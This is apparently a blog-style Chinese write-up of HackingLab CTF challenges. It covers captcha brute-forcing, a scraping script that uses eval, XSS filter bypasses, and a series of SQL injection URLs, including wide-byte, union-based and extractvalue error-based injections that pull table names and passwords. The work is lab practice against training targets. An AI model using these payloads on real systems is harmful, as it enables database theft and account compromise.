选择题和基础关比较简单,刷题刷得很爽(可能这就是菜鸟的成就感吧),后面的关卡就......
脚本关
key又又找不到了
这个题比较简单,抓包重放,发现flag~
快速口算
不会写脚本的我只能百度writeup。。。。。。找到的脚本如下:
#coding=utf-8
import re #正则模块
import requests
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
r.encoding = 'utf-8' #修改编码
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)='), r.text)[0] #正则表达式找到算术式
print ('result:\n\n%s=%d\n' % (num, eval(num))) #输出算术式计算结果
r = s.post(url, data={'v': eval(num)}) #将结果提交 抓包可看出要用v提交
print (r.text) #输出返回结果
这个题目是空的
null即可通过。
怎么就是不弹出key呢?
查看源码,发现有一段js代码,直接放进Chrome控制台运行,弹出flag。注意key为chars后的前14个字符。
逗比验证码第一期
根据题目提示,发现密码是首位不为0的四位数字,同时验证码可重复使用多次,利用burpsuite的intruder进行爆破。
找到key!
逗比验证码第二期
同上,虽然验证码只可用一次,但发现删除验证码返回pwd错误。继续进行爆破,找到key。
逗比验证码第三期
感觉和session并没有什么关系,和上一题解题思路一样,不是很懂,网上是这样解释的:
验证码发布的流程
1. 显示表单
2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
3. 用户提交表单
4. 核对验证码无误、数据合法后写入数据库完成
用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了
但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!
所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!
微笑一下就能过关了
分析源码:
发现常用网络协议已经过滤。
data协议格式为:
data:资源类型;编码,内容
因此,payload:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^_^=data:,(●'◡'●)
逗比的手机验证码
先用以前的手机号获取到验证码,抓包将手机号修改即可得到key。
基情燃烧的岁月
先用之前的手机号登陆,发现提示验证码为开头非0的三位数,进行爆破后找到另一个手机号,继续进行爆破,发现flag!
验证码识别
图片验证码在不断变化,普通的intruder无法爆破,不会做QAQ
xss基础关
在输入框中随意提交<script>alert(1)</script>,发现提示:
于是提交<script>alert(HackingLab)</script>,得到key值。
XSS基础2:简单绕过
上一题的payload被过滤了,换一个:
<img src=# onerror=alert(HackingLab) />
XSS基础3:检测与构造
这个题目过滤了好多字符,比较菜就不会@_@后面看了网上的解析:
这个题当 value 为敏感字符串时,出现的敏感字符串反而不会被过滤,这样就可以构造alert' onmouseover=alert(HackingLab)>并提交,将鼠标移动到第二个输入框上方就能触发弹窗.
Principle很重要的XSS
不会做+1。。。。。。坐等大佬们的writeup!
注入关
最简单的sql注入
真的很简单,注释符绕过即可。
最简单的SQL注入(熟悉注入环境)
查看源码看到提示找到注入点。
字段数:
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3#
但是之后无法得到显示位,就很尴尬😅后面发现是我想太多,payload如下:
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1
防注入
宽字节注入。
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' or 1=1 order by 3%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),user()%23
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df%27 union select 1,group_concat(title_1,content_1),3 from mydbs.sae_user_sqli4%23
该题参考自:https://hellohxk.com/blog/hackinglab-writeup/
到底能不能回显
报错注入好难啊=-=
不会做+1
看完其他人的writeup后,稍微有了点头绪。首先,了解一下mysql注入点在limit关键字后面的利用方法。http://www.freebuf.com/articles/web/57528.html
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,@@version)),1)%23&num=1
payload:
获取表名:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23&num=1
获取列名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(1,concat(0x25,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1
获取字段:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23 &num=100 %23
邂逅
图片类型的宽字节注入。
字段数:4
找到显示位:3
dog1.jpg%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4%23
dog1.jpg%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65),4%23
dog1.jpg%df' union select 1,2,(select group_concat(id,picname) from mydbs.pic),4%23
访问http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg,得:
ErrorBased
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)))%23
盲注
基于时间的盲注。
SQL注入通用防护
cookie存在sql注入。